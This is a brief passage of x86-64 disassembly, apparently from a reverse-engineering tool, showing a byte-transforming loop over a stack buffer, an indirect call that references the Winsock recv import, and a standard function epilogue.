add cl, 0x73
add dl, cl
mov byte [rbp + r8 - 0x7f], dl
movzx ecx, byte [rbp + r8 - 0x7e]
lea edx, [r8 - 0x23]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rbp + r8 - 0x7e], dl
movzx ecx, byte [rbp + r8 - 0x7d]
lea edx, [r8 - 0x22]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add cl, 0x73
add dl, cl
mov byte [rbp + r8 - 0x7d], dl
movzx ecx, byte [rbp + r8 - 0x7c]
lea edx, [r8 - 0x21]
movzx eax, dl
and al, cl
add al, al
sub dl, al
add dl, 0x73
add dl, cl
mov byte [rbp + r8 - 0x7c], dl
add r8, 0x15
cmp r8, 0x2a
jb 0x140016da0
lea r8, [rbp - 0x50]
lea rdx, [rsp + 0x70]
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [rbp - 0x10]
xor eax, eax
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.1400cdad0
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret